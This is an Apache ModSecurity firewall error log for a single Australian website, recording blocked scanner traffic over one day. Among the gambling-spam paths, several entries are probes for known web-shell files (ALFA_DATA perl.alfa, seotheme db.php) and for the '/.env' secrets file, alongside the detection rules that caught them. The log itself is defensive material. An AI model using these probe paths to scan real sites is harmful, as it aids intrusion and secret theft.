[Sat May 09 04:14:29.836402 2026] [:error] [pid 9184:tid 9213] [client 51.75.119.161:43126] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "af5EJYjfODqb_i0Fm99NGgAAABA"]
[Sat May 09 04:14:32.362416 2026] [:error] [pid 9760:tid 9775] [client 51.75.119.161:43140] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "af5EKGIkCp-C_fh0s7L2mgAAAUk"]
[Sat May 09 04:14:34.844444 2026] [:error] [pid 9663:tid 9679] [client 51.75.119.161:43154] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "af5EKpcWIu01SCxbjwuuFAAAAQ0"]
[Sat May 09 04:14:37.367466 2026] [:error] [pid 9184:tid 9216] [client 51.75.119.161:55124] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "af5ELYjfODqb_i0Fm99NIwAAABM"]
[Sat May 09 04:14:39.838043 2026] [:error] [pid 9187:tid 9258] [client 51.75.119.161:55130] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "af5ELxC7An6gkXsRsaG_bwAAAIU"]
[Sat May 09 04:14:42.294155 2026] [:error] [pid 9293:tid 9306] [client 51.75.119.161:55144] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "af5EMpR__qEzV5O6Z2OPlQAAAMk"]
[Sat May 09 04:14:44.763663 2026] [:error] [pid 9663:tid 9678] [client 51.75.119.161:55156] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "af5ENJcWIu01SCxbjwuuNAAAAQw"]
[Sat May 09 04:14:47.193202 2026] [:error] [pid 9293:tid 9309] [client 51.75.119.161:56916] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "af5EN5R__qEzV5O6Z2OPrgAAAMw"]
[Sat May 09 04:14:49.624197 2026] [:error] [pid 9920:tid 9938] [client 51.75.119.161:56932] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "af5EOUxitGYhlzgZb5Y8MgAAAdA"]
[Sat May 09 05:41:23.711457 2026] [:error] [pid 9663:tid 9671] [client 43.130.14.245:51298] [client 43.130.14.245] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "af5Yg5cWIu01SCxbjwvIJQAAAQU"]
[Sat May 09 07:41:23.828498 2026] [:error] [pid 9293:tid 9298] [client 43.157.20.63:44150] [client 43.157.20.63] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "af50o5R__qEzV5O6Z2P4TgAAAME"]
[Sat May 09 10:30:00.948143 2026] [:error] [pid 9293:tid 9309] [client 162.14.66.219:45938] [client 162.14.66.219] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "af6cKJR__qEzV5O6Z2M_1gAAAMw"]
[Sat May 09 11:14:14.242075 2026] [:error] [pid 9920:tid 9926] [client 45.154.98.198:56915] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "af6mhkxitGYhlzgZb5artAAAAcQ"]
[Sat May 09 11:14:14.249085 2026] [:error] [pid 9920:tid 9937] [client 45.154.98.198:56918] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "af6mhkxitGYhlzgZb5artQAAAc8"], referer: www.google.com
[Sat May 09 11:14:14.249378 2026] [:error] [pid 9187:tid 9265] [client 45.154.98.198:56939] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "af6mhhC7An6gkXsRsaFG-QAAAIw"], referer: www.google.com
[Sat May 09 11:14:14.738088 2026] [:error] [pid 9920:tid 9927] [client 45.154.98.198:58135] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "af6mhkxitGYhlzgZb5aruQAAAcU"]
[Sat May 09 11:14:14.752845 2026] [:error] [pid 9760:tid 9779] [client 45.154.98.198:58147] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "af6mhmIkCp-C_fh0s7IrBgAAAU0"], referer: www.google.com
[Sat May 09 11:14:14.753799 2026] [:error] [pid 9920:tid 9938] [client 45.154.98.198:58149] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "af6mhkxitGYhlzgZb5arugAAAdA"], referer: www.google.com
[Sat May 09 11:14:14.990310 2026] [:error] [pid 9187:tid 9272] [client 45.154.98.198:56905] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "af6mhhC7An6gkXsRsaFG_QAAAJM"]
[Sat May 09 11:14:15.004961 2026] [:error] [pid 9184:tid 9205] [client 45.154.98.198:56929] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "af6mh4jfODqb_i0Fm998oQAAAAg"], referer: www.google.com
[Sat May 09 11:14:15.251583 2026] [:error] [pid 9833:tid 9853] [client 45.154.98.198:59439] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "af6mhyM9JmxIS0KGZUBg_wAAAY8"], referer: www.google.com
[Sat May 09 11:14:15.493685 2026] [:error] [pid 9186:tid 9241] [client 45.154.98.198:59913] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "af6mhxW4eFOEw1mKOgKtpwAAAE8"]
[Sat May 09 11:14:15.511100 2026] [:error] [pid 9187:tid 9262] [client 45.154.98.198:59947] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "af6mhxC7An6gkXsRsaFG_wAAAIk"], referer: www.google.com
[Sat May 09 11:14:15.752899 2026] [:error] [pid 9187:tid 9275] [client 45.154.98.198:60328] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "af6mhxC7An6gkXsRsaFHBgAAAJY"], referer: www.google.com
[Sat May 09 11:14:15.989525 2026] [:error] [pid 9187:tid 9254] [client 45.154.98.198:60943] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "af6mhxC7An6gkXsRsaFHCQAAAIE"]
[Sat May 09 11:14:16.010922 2026] [:error] [pid 9187:tid 9270] [client 45.154.98.198:60973] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "af6miBC7An6gkXsRsaFHCgAAAJE"], referer: www.google.com
[Sat May 09 11:14:16.251186 2026] [:error] [pid 9920:tid 9946] [client 45.154.98.198:61831] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "af6miExitGYhlzgZb5arwAAAAdg"], referer: www.google.com
[Sat May 09 11:14:16.261082 2026] [:error] [pid 9760:tid 9767] [client 45.154.98.198:58179] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "af6miGIkCp-C_fh0s7IrCgAAAUE"], referer: www.google.com
[Sat May 09 11:14:16.510337 2026] [:error] [pid 9920:tid 9926] [client 45.154.98.198:58168] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "af6miExitGYhlzgZb5arwQAAAcQ"], referer: www.google.com
[Sat May 09 11:14:17.263658 2026] [:error] [pid 9186:tid 9246] [client 45.154.98.198:63038] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "af6miRW4eFOEw1mKOgKtqgAAAFQ"], referer: www.google.com
[Sat May 09 11:14:17.513006 2026] [:error] [pid 9187:tid 9264] [client 45.154.98.198:63874] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "af6miRC7An6gkXsRsaFHEwAAAIs"], referer: www.google.com
[Sat May 09 11:14:18.267517 2026] [:error] [pid 9663:tid 9688] [client 45.154.98.198:49469] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "af6mipcWIu01SCxbjwsJ8gAAARY"], referer: www.google.com
[Sat May 09 11:14:18.510790 2026] [:error] [pid 9187:tid 9269] [client 45.154.98.198:49760] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "af6mihC7An6gkXsRsaFHGAAAAJA"], referer: www.google.com
[Sat May 09 11:14:19.278761 2026] [:error] [pid 9293:tid 9311] [client 45.154.98.198:51142] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "af6mi5R__qEzV5O6Z2NSGQAAAM4"], referer: www.google.com
[Sat May 09 11:14:19.513482 2026] [:error] [pid 9187:tid 9265] [client 45.154.98.198:51683] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "af6mixC7An6gkXsRsaFHGwAAAIw"], referer: www.google.com
[Sat May 09 11:14:20.276355 2026] [:error] [pid 9663:tid 9675] [client 45.154.98.198:53803] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "af6mjJcWIu01SCxbjwsJ9QAAAQk"], referer: www.google.com
[Sat May 09 11:14:21.283195 2026] [:error] [pid 9833:tid 9858] [client 45.154.98.198:56146] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "af6mjSM9JmxIS0KGZUBhAwAAAZQ"], referer: www.google.com
[Sat May 09 14:08:32.043100 2026] [:error] [pid 9293:tid 9300] [client 129.226.209.117:42622] [client 129.226.209.117] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "af7PYJR__qEzV5O6Z2OIhQAAAMM"]
[Sat May 09 14:43:51.532845 2026] [:error] [pid 9186:tid 9228] [client 106.215.161.193:15734] [client 106.215.161.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.215.161.193, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "af7XpxW4eFOEw1mKOgLLBQAAAEI"]
[Sat May 09 18:49:17.612425 2026] [:error] [pid 9186:tid 9230] [client 194.62.107.8:54697] [client 194.62.107.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "af8RLRW4eFOEw1mKOgLriwAAAEQ"]
[Sat May 09 19:52:22.181040 2026] [:error] [pid 9663:tid 9682] [client 43.165.167.72:53570] [client 43.165.167.72] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "af8f9pcWIu01SCxbjwtfaQAAARA"]
[Sat May 09 22:23:42.246843 2026] [:error] [pid 55353:tid 55368] [client 88.88.156.124:47898] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "af9DbiDuyNO3XosoIYRefwAAAQ0"]
[Sat May 09 22:23:44.704383 2026] [:error] [pid 55182:tid 55214] [client 88.88.156.124:45600] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "af9DcDaxmP-S8ASrqQnivQAAAMI"]
[Sat May 09 22:23:47.136084 2026] [:error] [pid 55182:tid 55226] [client 88.88.156.124:43654] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "af9DczaxmP-S8ASrqQniwQAAAM4"]
[Sat May 09 22:23:49.708358 2026] [:error] [pid 55353:tid 55373] [client 88.88.156.124:43668] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "af9DdSDuyNO3XosoIYRehgAAARI"]
[Sat May 09 22:23:52.292523 2026] [:error] [pid 55191:tid 55286] [client 88.88.156.124:43680] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "af9DePMcqx1kfQsw7c4WegAAAIk"]
[Sat May 09 22:23:54.732896 2026] [:error] [pid 55191:tid 55296] [client 88.88.156.124:43694] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "af9DevMcqx1kfQsw7c4WewAAAJM"]
[Sat May 09 22:23:57.292581 2026] [:error] [pid 55353:tid 55355] [client 88.88.156.124:36856] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "af9DfSDuyNO3XosoIYRelQAAAQA"]
[Sat May 09 22:23:59.579915 2026] [:error] [pid 55182:tid 55229] [client 88.88.156.124:36864] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "af9DfzaxmP-S8ASrqQniyAAAANE"]
[Sat May 09 22:24:02.147706 2026] [:error] [pid 55186:tid 55258] [client 88.88.156.124:36872] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "af9DgpPIspqZdXg7QQu4nwAAAEk"]
[Sat May 09 22:24:05.440908 2026] [:error] [pid 55186:tid 55255] [client 88.88.156.124:36874] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "af9DhZPIspqZdXg7QQu4pAAAAEY"]
[Sat May 09 22:24:07.917816 2026] [:error] [pid 55182:tid 55231] [client 88.88.156.124:44298] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "af9DhzaxmP-S8ASrqQni1gAAANM"]
